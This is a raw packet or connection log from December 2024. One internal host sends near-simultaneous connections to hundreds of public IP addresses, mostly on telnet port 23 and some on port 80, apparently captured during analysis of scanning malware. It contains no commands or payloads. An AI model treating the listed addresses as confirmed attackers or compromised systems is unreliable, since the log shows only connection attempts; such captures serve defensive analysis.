Dec 3, 2024 22:16:53.205473900 CET	37707	80	192.168.2.23	63.186.73.228
Dec 3, 2024 22:16:53.205482960 CET	37707	80	192.168.2.23	123.103.236.184
Dec 3, 2024 22:16:53.205503941 CET	80	37707	66.167.139.239	192.168.2.23
Dec 3, 2024 22:16:53.205513000 CET	80	37707	102.244.213.7	192.168.2.23
Dec 3, 2024 22:16:53.205521107 CET	80	37707	119.163.95.200	192.168.2.23
Dec 3, 2024 22:16:53.205542088 CET	37707	80	192.168.2.23	102.244.213.7
Dec 3, 2024 22:16:53.205544949 CET	37707	80	192.168.2.23	119.163.95.200
Dec 3, 2024 22:16:53.205545902 CET	37707	80	192.168.2.23	66.167.139.239
Dec 3, 2024 22:16:53.205590963 CET	80	38726	180.60.94.132	192.168.2.23
Dec 3, 2024 22:16:53.205631018 CET	38726	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:53.205845118 CET	80	35356	174.196.88.173	192.168.2.23
Dec 3, 2024 22:16:53.205883980 CET	35356	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:53.206161976 CET	80	39480	156.146.98.24	192.168.2.23
Dec 3, 2024 22:16:53.206204891 CET	39480	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:53.208203077 CET	80	40136	131.59.130.94	192.168.2.23
Dec 3, 2024 22:16:53.208245039 CET	40136	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	112.214.88.154
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	4.50.164.39
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	143.153.53.5
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	144.250.216.107
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	216.112.128.27
Dec 3, 2024 22:16:53.554524899 CET	37963	23	192.168.2.23	62.209.114.227
Dec 3, 2024 22:16:53.554527998 CET	37963	23	192.168.2.23	168.254.43.71
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	148.218.137.98
Dec 3, 2024 22:16:53.554527998 CET	37963	23	192.168.2.23	97.209.90.229
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	38.42.165.64
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	193.209.222.18
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	87.102.133.79
Dec 3, 2024 22:16:53.554527998 CET	37963	23	192.168.2.23	140.61.152.218
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	150.30.213.76
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	51.58.143.75
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	183.137.11.136
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	197.224.167.196
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	13.115.174.11
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	102.206.132.23
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	2.29.52.47
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	219.95.159.245
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	17.4.249.192
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	142.126.249.183
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	64.225.164.9
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	31.116.24.229
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	151.83.19.155
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	72.125.192.115
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	63.129.240.25
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	193.33.126.164
Dec 3, 2024 22:16:53.554529905 CET	37963	23	192.168.2.23	185.91.110.217
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	94.190.239.26
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	37.200.45.65
Dec 3, 2024 22:16:53.554531097 CET	37963	23	192.168.2.23	175.49.153.57
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	113.165.187.213
Dec 3, 2024 22:16:53.554532051 CET	37963	23	192.168.2.23	85.118.183.240
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	71.69.133.208
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	90.21.195.160
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	140.234.59.46
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	84.103.174.7
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	81.65.237.61
Dec 3, 2024 22:16:53.554538012 CET	37963	23	192.168.2.23	71.201.8.75
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	93.70.190.228
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	120.112.40.34
Dec 3, 2024 22:16:53.554528952 CET	37963	23	192.168.2.23	75.250.37.48
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	123.7.159.244
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	65.116.153.131
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	2.253.205.150
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	118.145.56.148
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	148.10.91.137
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	101.127.12.74
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	27.136.242.81
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	60.35.69.181
Dec 3, 2024 22:16:53.554624081 CET	37963	23	192.168.2.23	37.80.4.19
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	152.27.11.212
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	41.189.123.155
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	92.89.109.35
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	60.154.14.54
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	14.90.87.120
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	168.106.78.252
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	80.119.218.21
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	89.45.246.231
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	168.130.11.175
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	37.148.142.206
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	144.196.228.134
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	191.222.255.186
Dec 3, 2024 22:16:53.554625988 CET	37963	23	192.168.2.23	31.58.189.55
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	64.254.114.70
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	63.86.223.79
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	135.45.122.27
Dec 3, 2024 22:16:53.554627895 CET	37963	23	192.168.2.23	147.101.235.184
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	157.166.163.38
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	126.29.109.114
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	100.227.42.126
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	99.238.148.175
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	53.84.103.198
Dec 3, 2024 22:16:53.554630995 CET	37963	23	192.168.2.23	50.145.101.51
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	111.203.191.210
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	73.221.60.187
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	132.60.181.214
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	69.149.29.124
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	218.9.50.128
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	103.238.37.149
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	23.111.91.194
Dec 3, 2024 22:16:53.554636955 CET	37963	23	192.168.2.23	129.8.90.237
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	180.74.167.244
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	76.66.150.180
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	169.251.138.105
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	4.216.84.92
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	172.152.217.85
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	190.196.241.114
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	179.154.101.98
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	50.149.125.1
Dec 3, 2024 22:16:53.554644108 CET	37963	23	192.168.2.23	96.9.138.181
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	117.76.231.123
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	12.140.7.122
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	62.143.135.55
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	12.180.111.219
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	221.43.20.79
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	164.2.249.96
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	98.187.250.29
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	88.113.216.235
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	172.242.60.85
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	188.167.127.33
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	147.184.73.78
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	133.73.41.114
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	178.168.74.142
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	187.103.228.217
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	92.168.216.141
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	116.211.26.161
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	45.227.111.55
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	186.158.229.107
Dec 3, 2024 22:16:53.554657936 CET	37963	23	192.168.2.23	104.129.95.236
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	216.143.136.23
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	84.169.156.109
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	220.195.69.234
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	129.154.113.76
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	125.225.221.92
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	19.44.195.226
Dec 3, 2024 22:16:53.554656029 CET	37963	23	192.168.2.23	138.47.49.78
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	204.210.111.209
Dec 3, 2024 22:16:53.554656029 CET	37963	23	192.168.2.23	210.123.74.8
Dec 3, 2024 22:16:53.554651022 CET	37963	23	192.168.2.23	185.185.246.148
Dec 3, 2024 22:16:53.554656982 CET	37963	23	192.168.2.23	39.23.20.26
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	133.180.105.171
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	193.182.211.187
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	72.212.95.63
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	97.71.150.119
Dec 3, 2024 22:16:53.554653883 CET	37963	23	192.168.2.23	146.154.231.109
Dec 3, 2024 22:16:53.554656982 CET	37963	23	192.168.2.23	69.186.239.49
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	64.142.236.22
Dec 3, 2024 22:16:53.554651976 CET	37963	23	192.168.2.23	63.156.79.55
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	109.104.158.71
Dec 3, 2024 22:16:53.554650068 CET	37963	23	192.168.2.23	58.175.77.22
Dec 3, 2024 22:16:53.554657936 CET	37963	23	192.168.2.23	37.249.70.172
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	206.140.236.128
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	165.154.104.70
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	177.159.168.50
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	104.221.174.220
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	87.107.146.234
Dec 3, 2024 22:16:53.554657936 CET	37963	23	192.168.2.23	60.194.74.12
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	223.38.125.209
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	190.164.126.215
Dec 3, 2024 22:16:53.554656982 CET	37963	23	192.168.2.23	223.11.10.133
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	78.163.124.74
Dec 3, 2024 22:16:53.554657936 CET	37963	23	192.168.2.23	95.49.204.25
Dec 3, 2024 22:16:53.554692030 CET	37963	23	192.168.2.23	185.43.34.26
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	139.115.79.28
Dec 3, 2024 22:16:53.554692030 CET	37963	23	192.168.2.23	82.252.94.42
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	94.146.139.124
Dec 3, 2024 22:16:53.554692030 CET	37963	23	192.168.2.23	66.192.205.215
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	45.185.209.46
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	193.7.65.110
Dec 3, 2024 22:16:53.554692984 CET	37963	23	192.168.2.23	104.197.82.103
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	175.234.28.65
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	157.242.114.254
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	129.74.101.17
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	97.46.145.222
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	84.188.144.188
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	111.45.189.104
Dec 3, 2024 22:16:53.554673910 CET	37963	23	192.168.2.23	150.141.229.115
Dec 3, 2024 22:16:53.554656982 CET	37963	23	192.168.2.23	67.208.208.246
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	197.98.55.105
Dec 3, 2024 22:16:53.554677963 CET	37963	23	192.168.2.23	223.86.135.40
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	141.101.170.96
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	162.110.233.222
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	95.132.42.221
Dec 3, 2024 22:16:53.554683924 CET	37963	23	192.168.2.23	185.124.45.188
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	27.90.103.103
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	35.64.202.112
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	208.204.1.72
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	19.21.231.229
Dec 3, 2024 22:16:53.554692984 CET	37963	23	192.168.2.23	17.5.145.42
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	128.198.223.210
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	84.99.145.115
Dec 3, 2024 22:16:53.554692984 CET	37963	23	192.168.2.23	70.73.14.71
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	206.17.139.60
Dec 3, 2024 22:16:53.554692984 CET	37963	23	192.168.2.23	208.230.119.28
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	95.252.69.72
Dec 3, 2024 22:16:53.554692984 CET	37963	23	192.168.2.23	77.90.171.92
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	186.133.10.83
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	121.85.122.251
Dec 3, 2024 22:16:53.554688931 CET	37963	23	192.168.2.23	141.120.153.136
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	183.68.28.16
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	119.116.45.234
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	8.64.173.15
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	139.29.216.217
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	71.159.22.25
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	147.77.24.199
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	152.46.10.16
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	111.44.55.124
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	135.81.241.242
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	157.66.72.216
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	46.141.160.129
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	101.3.204.85
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	154.215.118.113
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	54.68.240.78
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	39.83.181.185
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	39.2.142.8
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	204.98.38.252
Dec 3, 2024 22:16:53.554696083 CET	37963	23	192.168.2.23	164.231.67.55
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	221.136.17.221
Dec 3, 2024 22:16:53.554723978 CET	37963	23	192.168.2.23	73.251.184.38
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	131.252.34.223
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	211.146.82.7
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	163.203.220.145
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	50.240.161.101
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	5.65.252.153
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	12.75.26.5
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	44.84.91.200
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	13.79.15.171
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	79.97.116.218
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	36.62.45.247
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	63.150.22.55
Dec 3, 2024 22:16:53.554703951 CET	37963	23	192.168.2.23	183.214.93.239
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	217.167.66.80
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	169.39.50.234
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	222.42.102.238
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	94.243.92.0
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	42.245.171.249
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	128.44.6.237
Dec 3, 2024 22:16:53.554749012 CET	37963	23	192.168.2.23	58.157.29.46
Dec 3, 2024 22:16:53.554732084 CET	37963	23	192.168.2.23	218.5.12.201
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	145.209.112.106
Dec 3, 2024 22:16:53.554733038 CET	37963	23	192.168.2.23	49.145.100.144
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	177.93.4.147
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	142.230.158.246
Dec 3, 2024 22:16:53.554724932 CET	37963	23	192.168.2.23	51.167.32.180
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	157.168.204.233
Dec 3, 2024 22:16:53.554704905 CET	37963	23	192.168.2.23	195.55.56.30
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	130.158.128.212
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	120.172.4.229
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	136.69.170.83
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	178.165.195.164
Dec 3, 2024 22:16:53.554764986 CET	37963	23	192.168.2.23	70.179.29.72
Dec 3, 2024 22:16:53.554766893 CET	37963	23	192.168.2.23	158.99.217.132
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	106.240.79.80
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	114.84.195.207
Dec 3, 2024 22:16:53.554764986 CET	37963	23	192.168.2.23	222.105.131.106
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	190.180.229.136
Dec 3, 2024 22:16:53.554764986 CET	37963	23	192.168.2.23	162.177.228.48
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	65.172.227.217
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	129.249.154.101
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	196.67.132.124
Dec 3, 2024 22:16:53.554747105 CET	37963	23	192.168.2.23	193.177.97.210
Dec 3, 2024 22:16:53.554729939 CET	37963	23	192.168.2.23	80.157.34.223
Dec 3, 2024 22:16:53.554719925 CET	37963	23	192.168.2.23	150.7.128.79
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	94.55.176.205
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	53.137.104.123
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	218.164.235.80
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	153.15.45.28
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	97.73.179.207
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	76.69.70.1
Dec 3, 2024 22:16:53.554776907 CET	37963	23	192.168.2.23	52.92.56.21
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	20.157.120.181
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	93.38.26.222
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	130.7.217.164
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	31.224.135.253
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	107.110.28.76
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	220.48.229.65
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	136.102.172.73
Dec 3, 2024 22:16:53.554775000 CET	37963	23	192.168.2.23	124.202.183.190
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	199.118.241.245
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	130.209.141.119
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	105.206.142.20
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	206.211.97.74
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	220.32.173.179
Dec 3, 2024 22:16:53.554786921 CET	37963	23	192.168.2.23	118.33.96.128
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	190.130.204.228
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	200.30.139.55
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	221.58.204.64
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	31.133.110.134
Dec 3, 2024 22:16:53.554786921 CET	37963	23	192.168.2.23	135.251.121.0
Dec 3, 2024 22:16:53.554775953 CET	37963	23	192.168.2.23	42.18.92.65
Dec 3, 2024 22:16:53.554786921 CET	37963	23	192.168.2.23	197.161.3.9
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	183.35.219.62
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	125.18.223.71
Dec 3, 2024 22:16:53.554783106 CET	37963	23	192.168.2.23	12.211.218.201
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	105.105.98.181
Dec 3, 2024 22:16:53.554790020 CET	37963	23	192.168.2.23	132.93.64.1
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	140.56.204.58
Dec 3, 2024 22:16:53.554797888 CET	37963	23	192.168.2.23	94.119.112.38
Dec 3, 2024 22:16:53.554790020 CET	37963	23	192.168.2.23	153.62.165.58
Dec 3, 2024 22:16:53.554797888 CET	37963	23	192.168.2.23	104.32.159.67
Dec 3, 2024 22:16:53.554790020 CET	37963	23	192.168.2.23	79.55.155.65
Dec 3, 2024 22:16:53.554801941 CET	37963	23	192.168.2.23	66.134.141.118
Dec 3, 2024 22:16:53.554800987 CET	37963	23	192.168.2.23	17.85.7.21
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	83.158.246.66
Dec 3, 2024 22:16:53.554797888 CET	37963	23	192.168.2.23	130.181.46.44
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	102.72.122.8
Dec 3, 2024 22:16:53.554801941 CET	37963	23	192.168.2.23	207.163.103.116
Dec 3, 2024 22:16:53.554800987 CET	37963	23	192.168.2.23	176.141.35.70
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	200.159.144.209
Dec 3, 2024 22:16:53.554785967 CET	37963	23	192.168.2.23	85.25.111.88
Dec 3, 2024 22:16:53.554809093 CET	37963	23	192.168.2.23	205.3.92.144
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	117.124.49.245
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	43.40.234.48
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	36.249.107.25
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	166.97.78.133
Dec 3, 2024 22:16:53.554805040 CET	37963	23	192.168.2.23	213.101.226.24
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	222.73.85.197
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	122.165.99.55
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	122.227.221.193
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	141.242.241.168
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	112.164.46.100
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	9.32.97.79
Dec 3, 2024 22:16:53.554819107 CET	37963	23	192.168.2.23	103.141.0.155
Dec 3, 2024 22:16:53.554821014 CET	37963	23	192.168.2.23	117.95.228.99
Dec 3, 2024 22:16:53.554821014 CET	37963	23	192.168.2.23	106.62.141.122
Dec 3, 2024 22:16:53.554821014 CET	37963	23	192.168.2.23	178.169.66.4
Dec 3, 2024 22:16:53.554825068 CET	37963	23	192.168.2.23	218.179.213.178
Dec 3, 2024 22:16:53.554836035 CET	37963	23	192.168.2.23	132.194.117.139
Dec 3, 2024 22:16:53.554848909 CET	37963	23	192.168.2.23	198.35.146.16
Dec 3, 2024 22:16:53.554852962 CET	37963	23	192.168.2.23	178.59.210.174
Dec 3, 2024 22:16:53.554853916 CET	37963	23	192.168.2.23	168.16.64.204
Dec 3, 2024 22:16:53.554853916 CET	37963	23	192.168.2.23	205.105.191.120
Dec 3, 2024 22:16:53.554855108 CET	37963	23	192.168.2.23	167.30.66.240
Dec 3, 2024 22:16:53.554853916 CET	37963	23	192.168.2.23	162.90.108.167
Dec 3, 2024 22:16:53.554855108 CET	37963	23	192.168.2.23	172.247.84.39
Dec 3, 2024 22:16:53.554853916 CET	37963	23	192.168.2.23	203.188.40.179
Dec 3, 2024 22:16:53.554861069 CET	37963	23	192.168.2.23	63.38.136.239
Dec 3, 2024 22:16:53.554867029 CET	37963	23	192.168.2.23	191.85.9.107
Dec 3, 2024 22:16:53.554876089 CET	37963	23	192.168.2.23	63.146.113.149
Dec 3, 2024 22:16:53.554881096 CET	37963	23	192.168.2.23	155.58.173.33
Dec 3, 2024 22:16:53.554884911 CET	37963	23	192.168.2.23	189.146.153.176
